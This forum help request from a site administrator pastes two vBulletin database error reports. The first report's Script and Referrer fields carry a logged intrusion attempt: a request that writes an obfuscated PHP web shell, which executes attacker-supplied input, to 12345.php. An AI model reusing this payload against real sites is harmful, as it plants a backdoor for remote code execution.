Database Error

[Matt Slick]

I'm getting different errors in my forums.carm.org. I have no idea what to do to fix them. Little help?

Thanks...

Here are two of them...

Database error in vBulletin 5.5.5:

Invalid SQL:

INSERT IGNORE INTO session (`sessionhash`,`userid`,`host`,`idhash`,`lastactiv ity`,`location`,`styleid`,`languageid`,`loggedin`, `inforum`,`inthread`,`incalendar`,`badlocation`,`u seragent`,`bypass`,`profileupdate`,`apiclientid`,` apiaccesstoken`,`emailstamp`)
VALUES('00f399f5433f3223294944362fe3c6fe',0,'49.89 .249.153','e263258c99f1db54a547839be4cd6704',15791 79336,'',1,1,0,0,0,0,0,'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)',0,0,0,'',0) /**session**/;

MySQL Error : MySQL server has gone away
Error Number : 2006
Request Date : Thursday, January 16th 2020 @ 12:55:36 PM
Error Date : Thursday, January 16th 2020 @ 12:56:19 PM
Script : http://forums.carm.org/?s=index/thin...unc_array&vars[0]=file_put_contents&vars[1][]=12345.php&vars[1][1]=<?php%20$poc%20="axsxsxexrxt";$poc_1%20=%20explod e("x",%20$poc);%20$poc_2%20=%20$poc_1[0]%20.%20$poc_1[1]%20.%20$poc_1[2]%20.%20$poc_1[3].%20$poc_1[4].%20$poc_1[5];$poc_2(urldecode(urldecode(urldecode($_REQUEST['12345']))));?>
Referrer : http://forums.carm.org//?s=index/thi...unc_array&vars[0]=file_put_contents&vars[1][]=12345.php&vars[1][1]=<?php%20$poc%20="axsxsxexrxt";$poc_1%20=%20explod e("x",%20$poc);%20$poc_2%20=%20$poc_1[0]%20.%20$poc_1[1]%20.%20$poc_1[2]%20.%20$poc_1[3].%20$poc_1[4].%20$poc_1[5];$poc_2(urldecode(urldecode(urldecode($_REQUEST['12345']))));?>
IP Address : 49.89.249.153
Username : Guest
Classname : vB_Database_MySQLi
MySQL Version :


and

Database error in vBulletin 5.5.5:

Invalid SQL:
UPDATE session SET `lastactivity`=1579143462,`styleid`=1,`languageid` =1
WHERE (`sessionhash` = 'b58647d81dc993b56a7b18f17985a08f')
/**session**/;

MySQL Error : MySQL server has gone away
Error Number : 2006
Request Date : Thursday, January 16th 2020 @ 02:57:42 AM
Error Date : Thursday, January 16th 2020 @ 02:58:14 AM
Script : https://forums.carm.org/forum/main-f...-a-test-do-not
Referrer : https://forums.carm.org/forum/main-f...-not#post16119
IP Address : 194.34.134.142
Username : Guest
Classname : vB_Database_MySQLi
MySQL Version :